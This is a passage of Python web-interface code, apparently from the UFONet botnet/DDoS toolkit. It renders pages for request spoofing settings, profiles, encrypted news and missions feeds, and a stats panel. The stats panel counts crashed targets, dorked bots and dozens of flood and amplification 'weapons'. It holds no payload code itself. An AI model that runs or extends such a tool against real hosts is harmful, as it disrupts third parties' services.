  195. <td> Set your HTTP X-Forwarded-For with random IP values:</td>
  196. <td> <input type="checkbox" name='rxforw' """+self.rxforw_check+"""></td>
  197. </tr>
  198. <tr>
  199. <td> Set your HTTP X-Client-IP with random IP values:</td>
  200. <td> <input type="checkbox" name='rxclient' """+self.rxclient_check+"""></td>
  201. </tr>
  202. <tr>
  203. <td> Select your timeout:</td>
  204. <td> <input type="text" name="rtimeout" value='"""+str(self.rtimeout)+"""'></td>
  205. </tr>
  206. <tr>
  207. <td> Retries when the connection timeouts:</td>
  208. <td> <input type="text" name="rretries" value='"""+str(self.rretries)+"""'></td>
  209. </tr>
  210. <tr>
  211. <td> Delay in seconds between each HTTP request:</td>
  212. <td> <input type="text" name="rdelay" value='"""+str(self.rdelay)+"""'></td>
  213. </tr>
  214. <tr>
  215. <td> Number of threads:</td>
  216. <td> <input type="text" name="threads" value='"""+str(self.threads)+"""'></td>
  217. </tr>
  218. <tr>
  219. <td> Force usage of SSL/HTTPS requests:</td>
  220. <td> <input type="checkbox" name='rssl' """+self.rssl_check+"""></td>
  221. </tr>
  222. </table>
  223. <hr>
  224. <input type="hidden" name="update" value="1">
  225. <input type="submit" value="Set!" onclick="Requests()"></pre>
  226. </form>
  227. """ + self.pages["/footer"]
  228. def html_board_profile_submit(self):
  229. return self.pages["/header"]+"""<script>
  230. window.setTimeout(window.close,1234)
  231. </script></head><body bgcolor="black" text="yellow" style="font-family:Courier, 'Courier New', monospace;" >
  232. <center>Board profile updated. Re-enter to see changes..."""+self.pages["/footer"]
  233. def html_grid_profile_submit(self):
  234. return self.pages["/header"]+"""<script>
  235. window.setTimeout(window.close,1234)
  236. </script></head><body bgcolor="black" text="yellow" style="font-family:Courier, 'Courier New', monospace;" >
  237. <center>Grid profile updated. Re-enter to see changes..."""+self.pages["/footer"]
  238. def profile_crew(self, icon):
  239. files = os.listdir("core/images/crew/")
  240. if icon == "NONE":
  241. icon = "link1"
  242. html_stream = ""
  243. html_stream += "<table cellspacing='2' cellpadding='5'><form method='GET'><tr>"
  244. for f in files:
  245. id = str(f.replace(".txt", ""))
  246. value = str(f.replace(".txt", ""))
  247. if icon == value:
  248. checked = " CHECKED"
  249. else:
  250. checked = ""
  251. crew_img = open("core/images/crew/"+value+".txt").read()
  252. html_stream += "<td><input type='radio' name='profile_icon' id='"+id+"' value='"+value+"'"+ checked+"><img src='data:image/png;base64,"+crew_img+"'></td>"
  253. html_stream += "</tr></table>"
  254. return html_stream
  255. def html_board_profile(self):
  256. try:
  257. with open(self.mothership_boardcfg_file) as data_file:
  258. data = json.load(data_file)
  259. except:
  260. if os.path.exists(self.mothership_boardcfg_file) == True:
  261. print('[Error] [AI] Cannot open: "core/json/boardcfg.json" -> [Aborting!]\n')
  262. return
  263. else:
  264. print('[Info] [AI] Cannot found: "core/json/boardcfg.json" -> [Generating!]')
  265. with open(self.mothership_boardcfg_file, "w") as f:
  266. json.dump({"profile_token": "NONE", "profile_icon": "NONE", "profile_nick": "Anonymous"}, f, indent=4)
  267. f.close()
  268. with open(self.mothership_boardcfg_file) as data_file:
  269. data = json.load(data_file)
  270. self.profile_token = str(random.getrandbits(128)) # generating random token hash
  271. self.profile_icon = data["profile_icon"]
  272. self.profile_nick = data["profile_nick"]
  273. self.profile_nick.encode('utf-8')
  274. return self.pages["/header"] + """
  275. <script language="javascript">
  276. function BoardProfile() {
  277. var win_board = window.open("board_profile","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  278. }
  279. </script>
  280. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" ><center><pre>
  281. <u>Configure profile:</u>
  282. <table cellpadding="2" cellspacing="2">
  283. <form method='GET'>
  284. <tr>
  285. <td> <u>OPERATOR/LINK:</u></td>
  286. <td> """+self.profile_crew(self.profile_icon)+"""</td>
  287. </tr>
  288. <tr>
  289. <td> <u>NICKNAME:</u></td>
  290. <td> <input type="text" name="profile_nick" pattern=".{3,12}" required title="3 to 12 characters" value='"""+self.profile_nick+"""'></td>
  291. </tr>
  292. </table>
  293. <hr>
  294. <input type="hidden" name="update" value="1">
  295. <input type="submit" value="Set!" onclick="BoardProfile()"></pre>
  296. </form>
  297. """ + self.pages["/footer"]
  298. def html_grid_profile(self):
  299. try:
  300. with open(self.mothership_gridcfg_file) as data_file:
  301. data = json.load(data_file)
  302. except:
  303. if os.path.exists(self.mothership_gridcfg_file) == True:
  304. print('[Error] [AI] Cannot open: "core/json/gridcfg.json" -> [Aborting!]\n')
  305. return
  306. else:
  307. print('[Info] [AI] Cannot found: "core/json/gridcfg.json" -> [Generating!]')
  308. with open(self.mothership_gridcfg_file, "w") as f:
  309. json.dump({"grid_token": "NONE", "grid_contact": "UNKNOWN!", "grid_nick": "Anonymous"}, f, indent=4)
  310. f.close()
  311. with open(self.mothership_gridcfg_file) as data_file:
  312. data = json.load(data_file)
  313. self.grid_token = str(random.getrandbits(128)) # generating random token hash
  314. self.grid_contact = data["grid_contact"]
  315. self.grid_contact.encode('utf-8')
  316. self.grid_nick = data["grid_nick"]
  317. self.grid_nick.encode('utf-8')
  318. return self.pages["/header"] + """
  319. <script language="javascript">
  320. function GridProfile() {
  321. var win_board = window.open("grid_profile","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  322. }
  323. </script>
  324. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" ><center><pre>
  325. <u>Configure grid profile:</u><br>
  326. <table cellpadding="2" cellspacing="2">
  327. <form method='GET'>
  328. <tr>
  329. <td> <u>NICKNAME:</u></td>
  330. <td> <input type="text" name="grid_nick" pattern=".{3,12}" required title="3 to 12 characters" value='"""+self.grid_nick+"""'></td>
  331. </tr>
  332. <tr>
  333. <td> <u>EMAIL/URL (CONTACT):</u></td>
  334. <td> <input type="text" name="grid_contact" pattern=".{8,120}" required title="8 to 120 characters" value='"""+self.grid_contact+"""'></td>
  335. </tr>
  336. </table>
  337. <hr>
  338. <input type="hidden" name="update" value="1">
  339. <input type="submit" value="Set!" onclick="GridProfile()"></pre>
  340. </form>
  341. """ + self.pages["/footer"]
  342. def html_board_remove(self):
  343. try:
  344. with open(self.mothership_boardcfg_file, "w") as f:
  345. json.dump({"profile_token": "NONE", "profile_icon": "NONE", "profile_nick": "Anonymous"}, f, indent=4)
  346. except:
  347. return
  348. return self.pages["/header"]+"""<script>
  349. window.setTimeout(window.close,1234)
  350. </script></head><body bgcolor="black" text="yellow" style="font-family:Courier, 'Courier New', monospace;" >
  351. <center>Board profile updated. Re-enter to see changes..."""+self.pages["/footer"]
  352. def html_grid_remove(self):
  353. try:
  354. with open(self.mothership_gridcfg_file, "w") as f:
  355. json.dump({"grid_token": "NONE", "grid_contact": "UNKNOWN!", "grid_nick": "Anonymous"}, f, indent=4)
  356. except:
  357. return
  358. return self.pages["/header"]+"""<script>
  359. window.setTimeout(window.close,1234)
  360. </script></head><body bgcolor="black" text="yellow" style="font-family:Courier, 'Courier New', monospace;" >
  361. <center>Grid profile updated. Re-enter to see changes..."""+self.pages["/footer"]
  362. def html_stats(self):
  363. total_extra_attacks = int(self.aloic) + int(self.aloris) + int(self.aufosyn) + int(self.aspray) + int(self.asmurf) + int(self.axmas) + int(self.anuke) + int(self.atachyon) + int(self.amonlist) + int(self.afraggle) + int(self.asniper) + int(self.aufoack) + int(self.auforst) + int(self.adroper) + int(self.aoverlap) + int(self.apinger) + int(self.aufoudp) + int(self.amemcached) + int(self.achargen) + int(self.acldap) + int(self.assdp) + int(self.aqotd) + int(self.atftp) + int(self.awsdisco) + int(self.acoap) + int(self.amssql) + int(self.aarms) + int(self.aplex) + int(self.anetbios) + int(self.aripv1) + int(self.amiddlebox) + int(self.arapidreset) + int(self.aslowread) + int(self.agoldeneye) + int(self.afinflood)
  364. if self.ranking == "Rookie": # Rookie
  365. your_ranking = "<font color='white'>Rookie [*]</font>"
  366. elif self.ranking == "Mercenary": # Mercenary
  367. your_ranking = "<font color='cyan'>Mercenary [**]</font>"
  368. elif self.ranking == "Bandit": # Bandit
  369. your_ranking = "<font color='blueviolet'>Bandit [***]</font>"
  370. elif self.ranking == "UFOmmander!": # UFOmmander!
  371. your_ranking = "<font color='blue'>UFOmmander! [****]</font>"
  372. elif self.ranking == "UFOl33t!": # UFOl33t!
  373. your_ranking = "<font color='red'>UFOl33t! [&#x25BC;]</font>"
  374. else:
  375. your_ranking = "<font color='yellow' size='4'>[-]</font> ( no0b! )" # no0b hacking attempt! ;-)
  376. return self.pages["/header"] + """<script language="javascript">
  377. function Ranking() {
  378. var win_ranking = window.open("ranking","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  379. }
  380. function Grid() {
  381. var win_grid = window.open("grid","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  382. }
  383. function Board() {
  384. var win_board = window.open("board","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  385. }
  386. function Links() {
  387. var win_links = window.open("links","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  388. }
  389. function Streams() {
  390. var win_streams = window.open("streams","_parent","fullscreen=yes, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  391. }
  392. </script></head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  393. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  394. <center>
  395. <table cellpadding="5" cellspacing="5"><tr>
  396. <td><a href="javascript:alert('CR1SPR-9-AI says: This is your ship, """ + self.ranking + """... Not bad, Eeeeh!?.');"><img src='data:image/png;base64,"""+self.mothership_img+"""'></a></td><td>
  397. <td>STATS device: <font color='green'>ON</font><br><br><button title="Review stats from other motherships and share yours with them..." onclick="Grid()">VISIT GRID!</button> <button title="Visit ranking stats..." onclick="Ranking()">VISIT RANKING!</button> <br><br> <button title="Visit board panel..." onclick="Board()">VISIT BOARD!</button> <button title="Visit data links..." onclick="Links()">VISIT LINKS!</button> <button title="Visit Streams..." onclick="Streams()">VISIT STREAMS!</button></td>
  398. </tr></table>
  399. <table border="0" cellpadding="5" cellspacing="10"><tr><td>
  400. <table border="1" cellpadding="5" cellspacing="10">
  401. <tr>
  402. <td><b><u>Globalnet:</u></b></td></tr>
  403. <tr>
  404. <td>GLOBAL.RADAR (nodes):</td><td align='right'><font color='orange'><a href="/radar" target="_blank">"""+str(len(self.list_globalnet))+"""</a></font></td>
  405. </tr>
  406. <tr>
  407. <td>SHIP.WARPS (nodes):</td><td align='right'><font color='orange'><a href="/blackholes" target="_blank">"""+str(len(self.list_blackholes))+"""</a></font></td>
  408. </tr>
  409. </table>
  410. <br>
  411. <table border="1" cellpadding="5" cellspacing="10"><tr>
  412. <td><b><u>Missions:</u></b></td></tr>
  413. <tr>
  414. <td>Created (launched):</td><td align='right'><font color='red'>""" + str(self.amissions) + """</font></td></tr>
  415. <tr>
  416. <td>Attacks (completed):</td><td align='right'><font color='blue'>""" + str(self.acompleted) + """</font></td></tr>
  417. <tr>
  418. <td>Targets (crashed):</td><td align='right'><font color='green'>""" + str(self.tcrashed) + """</font></td></tr>
  419. <tr>
  420. <td>Crashing (T*100/A=C%):</td><td align='right'><font color='orange'>""" + str(round(self.mothership_acc, 2)) + """%</font></td></tr>
  421. </table>
  422. </td><td>
  423. <br>
  424. <table border="1" cellpadding="5" cellspacing="10"><tr>
  425. <td><b><u>General:</u></b></td></tr>
  426. <tr>
  427. <td>Mothership ID:</td><td align='right'><font color='cyan'><b>""" + str(self.mothership_id) + """</b></font></td></tr>
  428. <td>Model:</td><td align='right'><font color='blue'>""" + str(self.mothership_model) + """</font></td></tr>
  429. <tr><td>Born:</td><td align='right'><font color='orange'>""" + str(time.ctime(os.path.getctime('ufonet'))) + """</font></td></tr>
  430. <tr><td>Ranking:</td><td align='right'>""" + str(your_ranking) + """</td></tr>
  431. <tr><td>Flying (times):</td><td align='right'><font color='red'><b>""" + str(self.aflying) + """</b></font></td></tr>
  432. </table>
  433. </td><td>
  434. <table border="1" cellpadding="5" cellspacing="10"><tr>
  435. <td><b><u>Botnet:</u></b></td></tr>
  436. <tr>
  437. <td>Total Cargo (now):</td><td align='right'><a href='javascript:runCommandX("cmd_list_army")'>"""+ self.total_botnet +"""</a></td></tr>
  438. <tr>
  439. <td>Scanner (new bots via dorking):</td>
  440. <td align='right'><font color='blue'>""" + str(self.ascanner) + """</font></td></tr>
  441. <tr>
  442. <td>Transferred (new bots via blackholes):</td>
  443. <td align='right'><font color='green'>""" + str(self.atransferred) + """</font></td></tr>
  444. <tr>
  445. <td>Max. Chargo (always): </td><td align='right'><font color='orange'>""" + str(self.amax_chargo) + """</font></td></tr>
  446. </table>
  447. <br>
  448. <table border="1" cellpadding="5" cellspacing="10"><tr>
  449. <td><b><u>Weapons (use):</u></b></td></tr>
  450. <tr>
  451. <td>LOIC:</td><td align='right'><font color='cyan'>""" + str(self.aloic) + """</font></td>
  452. <td>MONLIST:</td><td align='right'><font color='cyan'>""" + str(self.amonlist) + """</font></td>
  453. <td>LORIS:</td><td align='right'><font color='cyan'>""" + str(self.aloris) + """</font></td></tr>
  454. <tr>
  455. <td>UFOSYN:</td><td align='right'><font color='cyan'>""" + str(self.aufosyn) + """</font></td>
  456. <td>FRAGGLE:</td><td align='right'><font color='cyan'>""" + str(self.afraggle) + """</font></td>
  457. <td>SPRAY:</td><td align='right'><font color='cyan'>""" + str(self.aspray) + """</font></td></tr>
  458. <tr>
  459. <td>SMURF:</td><td align='right'><font color='cyan'>""" + str(self.asmurf) + """</font></td>
  460. <td>SNIPER:</td><td align='right'><font color='cyan'>""" + str(self.asniper) + """</font></td>
  461. <td>XMAS:</td><td align='right'><font color='cyan'>""" + str(self.axmas) + """</font></td></tr>
  462. <tr>
  463. <td>NUKE:</td><td align='right'><font color='cyan'>""" + str(self.anuke) + """</font></td>
  464. <td>UFOACK:</td><td align='right'><font color='cyan'>""" + str(self.aufoack) + """</font></td>
  465. <td>TACHYON:</td><td align='right'><font color='cyan'>""" + str(self.atachyon) + """</font></td></tr>
  466. <tr>
  467. <td>UFORST:</td><td align='right'><font color='cyan'>""" + str(self.auforst) + """</font></td>
  468. <td>DROPER:</td><td align='right'><font color='cyan'>""" + str(self.adroper) + """</font></td>
  469. <td>OVERLAP:</td><td align='right'><font color='cyan'>""" + str(self.aoverlap) + """</font></td></tr>
  470. <tr>
  471. <td>PINGER:</td><td align='right'><font color='cyan'>""" + str(self.apinger) + """</font></td>
  472. <td>UFOUDP:</td><td align='right'><font color='cyan'>""" + str(self.aufoudp) + """</font></td>
  473. <td>MEMCACHED:</td><td align='right'><font color='cyan'>""" + str(self.amemcached) + """</font></td></tr>
  474. <tr>
  475. <td>CHARGEN:</td><td align='right'><font color='cyan'>""" + str(self.achargen) + """</font></td>
  476. <td>CLDAP:</td><td align='right'><font color='cyan'>""" + str(self.acldap) + """</font></td>
  477. <td>SSDP:</td><td align='right'><font color='cyan'>""" + str(self.assdp) + """</font></td></tr>
  478. <tr>
  479. <td>QOTD:</td><td align='right'><font color='cyan'>""" + str(self.aqotd) + """</font></td>
  480. <td>TFTP:</td><td align='right'><font color='cyan'>""" + str(self.atftp) + """</font></td>
  481. <td>WSDISCO:</td><td align='right'><font color='cyan'>""" + str(self.awsdisco) + """</font></td></tr>
  482. <tr>
  483. <td>COAP:</td><td align='right'><font color='cyan'>""" + str(self.acoap) + """</font></td>
  484. <td>MSSQL:</td><td align='right'><font color='cyan'>""" + str(self.amssql) + """</font></td>
  485. <td>ARMS:</td><td align='right'><font color='cyan'>""" + str(self.aarms) + """</font></td></tr>
  486. <tr>
  487. <td>PLEX:</td><td align='right'><font color='cyan'>""" + str(self.aplex) + """</font></td>
  488. <td>NETBIOS:</td><td align='right'><font color='cyan'>""" + str(self.anetbios) + """</font></td>
  489. <td>RIPV1:</td><td align='right'><font color='cyan'>""" + str(self.aripv1) + """</font></td></tr>
  490. <tr>
  491. <td>MIDDLEBOX:</td><td align='right'><font color='cyan'>""" + str(self.amiddlebox) + """</font></td>
  492. <td>RAPIDRESET:</td><td align='right'><font color='cyan'>""" + str(self.arapidreset) + """</font></td>
  493. <td>SLOWREAD:</td><td align='right'><font color='cyan'>""" + str(self.aslowread) + """</font></td></tr>
  494. <tr>
  495. <td>GOLDENEYE:</td><td align='right'><font color='cyan'>""" + str(self.agoldeneye) + """</font></td>
  496. <td>FINFLOOD:</td><td align='right'><font color='cyan'>""" + str(self.afinflood) + """</font></td>
  497. <td>TOTAL:</td><td align='right'><font color='red'>""" + str(total_extra_attacks) +"""</font></td>
  498. </tr>
  499. </table>
  500. </td></tr></table>
  501. <br><hr>
  502. <div id="cmdOut"></div>
  503. """ + self.pages["/footer"]
  504. def hmac_sha1(self, key, msg):
  505. if len(key) > 20:
  506. key = sha1(key).digest()
  507. key += chr(0).encode('utf-8') * (20 - len(key))
  508. o_key_pad = key.translate(self.trans_5C)
  509. i_key_pad = key.translate(self.trans_36)
  510. return sha1(o_key_pad + sha1(i_key_pad + msg).digest()).digest()
  511. def derive_keys(self, key):
  512. key = key.encode('utf-8')
  513. h = sha256()
  514. h.update(key)
  515. h.update('cipher'.encode('utf-8'))
  516. cipher_key = h.digest()
  517. h = sha256()
  518. h.update(key)
  519. h.update('mac'.encode('utf-8'))
  520. mac_key = h.digest()
  521. return (cipher_key, mac_key)
  522. def decrypt(self, key, text):
  523. KEY_SIZE = 32
  524. BLOCK_SIZE = 16
  525. MAC_SIZE = 20
  526. mode = AES.MODE_CFB
  527. try:
  528. iv_ciphertext_mac = base64.urlsafe_b64decode(text)
  529. except:
  530. try:
  531. padding = len(text) % 4
  532. if padding == 1:
  533. return ''
  534. elif padding == 2:
  535. text += b'=='
  536. elif padding == 3:
  537. text += b'='
  538. iv_ciphertext_mac = base64.urlsafe_b64decode(text)
  539. except TypeError:
  540. return None
  541. iv = iv_ciphertext_mac[:BLOCK_SIZE]
  542. ciphertext = iv_ciphertext_mac[BLOCK_SIZE:-MAC_SIZE]
  543. mac = iv_ciphertext_mac[-MAC_SIZE:]
  544. (cipher_key, mac_key) = self.derive_keys(key)
  545. expected_mac = self.hmac_sha1(mac_key, iv + ciphertext)
  546. if mac != expected_mac:
  547. return None
  548. aes = AES.new(cipher_key, mode, iv)
  549. self.decryptedtext = aes.decrypt(ciphertext)
  550. try:
  551. self.decryptedtext = self.decryptedtext.decode('utf-8')
  552. except:
  553. pass
  554. def encrypt(self, key, text):
  555. try:
  556. key = base64.b64encode(str(key))
  557. except:
  558. key = base64.b64encode(key.encode('utf-8'))
  559. c = Cipher(key, text)
  560. msg = c.encrypt()
  561. try:
  562. msg = msg.decode('utf-8')
  563. except:
  564. pass
  565. c.set_text(msg)
  566. self.encryptedtext = str(msg)
  567. def html_news(self):
  568. return self.pages["/header"] + """<script language="javascript">
  569. function Decrypt(){
  570. news_key=document.getElementById("news_key").value
  571. if(news_key == "") {
  572. window.alert("You need to enter a valid key (provided by someone)");
  573. return
  574. }else{
  575. params="news_key="+escape(news_key)
  576. runCommandX("cmd_decrypt",params)
  577. document.getElementById("nb1").style.display = "none";
  578. }
  579. }
  580. </script>
  581. <script language="javascript">
  582. function RefreshNews(){
  583. news_source=document.getElementById("news_source").value
  584. if(news_source == "") {
  585. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  586. return
  587. }else{
  588. params="news_source="+escape(news_source)
  589. runCommandX("cmd_refresh_news",params)
  590. document.getElementById("nb1").style.display = "none";
  591. setTimeout("location.reload()", 10000)
  592. }
  593. }
  594. </script>
  595. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  596. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  597. <br>
  598. <center><table cellpadding="2" cellspacing="2"><tr><td><table cellpadding="5" cellspacing="5"><tr>
  599. <td>Blackhole/IP:</td>
  600. <td><input type="text" name="news_source" id="news_source" size="20" value='"""+default_blackhole+"""'></td>
  601. </tr></table></td><td><button title="Search for news on that blackhole..." onclick="RefreshNews()" style="color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;">Search News...</button></td></tr></table>
  602. <hr>
  603. <table cellpadding="5" cellspacing="5"><tr>
  604. <td><a href="javascript:alert('Psihiz says: """ + self.ranking + """... Welcome to the Crypto-News!...');"><img src='data:image/png;base64,"""+self.alien1_img+"""'></a></td><td>
  605. <table cellpading="5" cellspacing="10"><tr><td>
  606. <form method='GET'>
  607. Your key: <input type="text" name="news_key" id="news_key" size="20" value='"""+str(self.crypto_key)+"""'>
  608. </td></tr><tr><td>
  609. <a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt();>Try decryption!</a>
  610. </form>
  611. </td></tr></table></td></tr></table>
  612. <hr><br>
  613. </center>
  614. Last update: <font color='"""+ self.news_status_color + """'>"""+ self.news_datetime + """</font><br><br>
  615. <div id="cmdOut"></div>
  616. <div id="nb1" style="display: block;">"""+self.news_text+"""</div><br><br>
  617. """ + self.pages["/footer"]
  618. def html_tv(self):
  619. return self.pages["/header"] + """<script language="javascript">
  620. function Decrypt_tv(){
  621. tv_deckey=document.getElementById("tv_deckey").value
  622. if(tv_deckey == "") {
  623. window.alert("You need to enter a valid key (provided by someone)");
  624. return
  625. }else{
  626. params="tv_deckey="+escape(tv_deckey)
  627. runCommandX("cmd_decrypt_tv",params)
  628. document.getElementById("nb1").style.display = "none";
  629. }
  630. }
  631. </script>
  632. <script language="javascript">
  633. function RefreshTv(){
  634. tv_source=document.getElementById("tv_source").value
  635. if(tv_source == "") {
  636. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  637. return
  638. }else{
  639. params="tv_source="+escape(tv_source)
  640. runCommandX("cmd_refresh_tv",params)
  641. document.getElementById("nb1").style.display = "none";
  642. setTimeout("location.reload()", 10000)
  643. }
  644. }
  645. </script>
  646. <script type="text/javascript">
  647. function PlayTV(url_tv){
  648. var player=document.getElementById('player');
  649. var tv_stream_source=document.getElementById('player');
  650. var tv_a=document.getElementById('tv_a');
  651. var tv_p=document.getElementById('tv_p');
  652. tv_stream_source.src=url_tv;
  653. tv_a.href=url_tv;
  654. tv_p.innerHTML=url_tv;
  655. player.load();
  656. player.play();
  657. }
  658. </script>
  659. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  660. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  661. <br>
  662. <center><table cellpadding="2" cellspacing="2"><tr><td><table cellpadding="5" cellspacing="5"><tr>
  663. <td>Blackhole/IP:</td>
  664. <td><input type="text" name="tv_source" id="tv_source" size="20" value='"""+default_blackhole+"""'></td>
  665. </tr></table></td><td><button title="Search for videos on that blackhole..." onclick="RefreshTv()" style="color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;">Search TV...</button></td></tr></table>
  666. <hr>
  667. <table cellpadding="5" cellspacing="5">
  668. <tr>
  669. <td><a href="javascript:alert('GrouNmnrrürr says: """ + self.ranking + """... Welcome to the Crypto-TV!...');"><img src='data:image/png;base64,"""+self.alien5_img+"""'></a></td>
  670. <td>
  671. <table cellpading="5" cellspacing="10"><tr><td>
  672. <form method='GET'>
  673. Your key: <input type="text" name="tv_deckey" id="tv_deckey" size="20" value='"""+str(self.crypto_key)+"""'>
  674. </td></tr><tr><td>
  675. <a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt_tv();>Try decryption!</a>
  676. </form>
  677. </td></tr></table>
  678. </td></tr></table>
  679. <br>
  680. <hr><br>
  681. Last update: <font color='"""+ self.tv_status_color + """'>"""+ self.tv_datetime + """</font><br><br>
  682. <div id="cmdOut"></div>
  683. <div id="nb1" style="display: block;">"""+self.tv_text+"""</div><br><br>
  684. """ + self.pages["/footer"]
  685. def html_missions(self):
  686. return self.pages["/header"] + """<script language="javascript">
  687. function Decrypt(){
  688. missions_key=document.getElementById("missions_key").value
  689. if(missions_key == "") {
  690. window.alert("You need to enter a valid key (provided by someone)");
  691. return
  692. }else{
  693. params="missions_key="+escape(missions_key)
  694. runCommandX("cmd_decrypt",params)
  695. document.getElementById("nb1").style.display = "none";
  696. }
  697. }
  698. </script>
  699. <script language="javascript">
  700. function RefreshMissions(){
  701. missions_source=document.getElementById("missions_source").value
  702. if(missions_source == "") {
  703. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  704. return
  705. }else{
  706. params="missions_source="+escape(missions_source)
  707. runCommandX("cmd_refresh_missions",params)
  708. document.getElementById("nb1").style.display = "none";
  709. setTimeout("location.reload()", 10000)
  710. }
  711. }
  712. </script>
  713. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  714. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  715. <br>
  716. <center><table cellpadding="2" cellspacing="2"><tr><td><table cellpadding="5" cellspacing="5"><tr>
  717. <td>Blackhole/IP:</td>
  718. <td><input type="text" name="missions_source" id="missions_source" size="20" value='"""+default_blackhole+"""'></td>
  719. </tr></table></td><td><button title="Search for missions on that blackhole..." onclick="RefreshMissions()" style="color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;">Search missions...</button></td></tr></table>
  720. <hr>
  721. <table cellpadding="5" cellspacing="5"><tr>
  722. <td><a href="javascript:alert('Mnahät says: """ + self.ranking + """... Welcome to the Crypto-Missions!...');"><img src='data:image/png;base64,"""+self.alien2_img+"""'></a></td><td>
  723. <table cellpading="5" cellspacing="10"><tr><td>
  724. <form method='GET'>
  725. Your key: <input type="text" name="missions_key" id="missions_key" size="20" value='"""+str(self.crypto_key)+"""'>
  726. </td></tr><tr><td>
  727. <a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt();>Try decryption!</a>
  728. </form>
  729. </td></tr></table></td></tr></table>
  730. <hr><br>
  731. </center>
  732. Last update: <font color='"""+ self.missions_status_color + """'>"""+ self.missions_datetime + """</font><br><br>
  733. <div id="cmdOut"></div>
  734. <div id="nb1" style="display: block;">"""+self.missions_text+"""</div><br><br>
  735. """ + self.pages["/footer"]
  736. def html_board(self):
  737. self.board_welcome = "<div id='board_warning' style='display: none;'><pre><u>WARNING:</u> <br><br> 1) This is our 'Space Cantina': DON'T BE A LAMER!!! <br> 2) NO language RESTRICTIONS <br> 3) ABUSING == #HACKBACK (THIS IS NOT KIND OF FAME YOU WANT)<br> 4) CONTENT can be MODIFIED/REMOVED without notice<br> 5) LOVE, DONATIONS and REPORTS -> <a href='http://127.0.0.1:9999/help' target='_blank'>HERE</a></pre></div>" # board hardcoded warning (hehe)
  738. self.board_topic = "<select id='board_selector'><option value='general'>GENERAL</option><option value='opsec'> - OPSEC: #UFOSTORM</option><option value='faq'>UFONET/FAQ</option><option value='bugs'>UFONET/BUGS</option><option value='media'>UFONET/MEDIA</option></select>"
  739. self.board_send_msg = "<button title='Send your message to the Board (REMEMBER: you will cannot remove it!)...' onclick='SendMessage()'>SEND IT!</button>"
  740. if '"profile_token": "NONE"' in open(self.mothership_boardcfg_file).read():
  741. device_state = "OFF"
  742. device = "BOARD device: <font color='red'>OFF</font><br>"
  743. else:
  744. device_state = "ON"
  745. self.moderator_text = ''.join(random.sample(self.moderator_text,len(self.moderator_text)))
  746. boardcfg_json_file = open(self.mothership_boardcfg_file, "r") # extract mothership boardcfg
  747. data = json.load(boardcfg_json_file)
  748. boardcfg_json_file.close()
  749. profile_token = data["profile_token"]
  750. profile_icon = data["profile_icon"]
  751. profile_nick = data["profile_nick"]
  752. self.profile_nick.encode('utf-8')
  753. operator_img = open("core/images/crew/"+profile_icon+".txt").read()
  754. device = "<u>OPERATOR/LINK:</u> <font color='green'>ON</font><br><table cellpadding='5'><tr><td><img src='data:image/png;base64,"+operator_img+"'></td></tr><tr><td> -NICKNAME: "+str(self.profile_nick)+"</td></tr><tr><td> -ID: "+str(profile_token)+"</td></tr></table>"
  755. if device_state == "OFF":
  756. board_filter = ""
  757. else:
  758. board_filter = "<table cellpadding='5' border='1'><tr><td><input type='radio' name='filter' id='filter_all' value='ALL' CHECKED>/ALL<br> </td><td><input type='radio' name='filter' id='filter_general' value='GENERAL'>/GENERAL</td><td><input type='radio' name='filter' id='filter_opsec' value='OPSEC'>/#OPSEC<br> </td><td><input type='radio' name='filter' id='filter_faq' value='FAQ'>/FAQ</td><td><input type='radio' name='filter' id='filter_bugs' value='BUGS'>/BUGS</td><td><input type='radio' name='filter' id='filter_media' value='MEDIA'>/MEDIA</td></tr></table>"
  759. if device_state == "OFF":
  760. sync_panel = ""
  761. else:
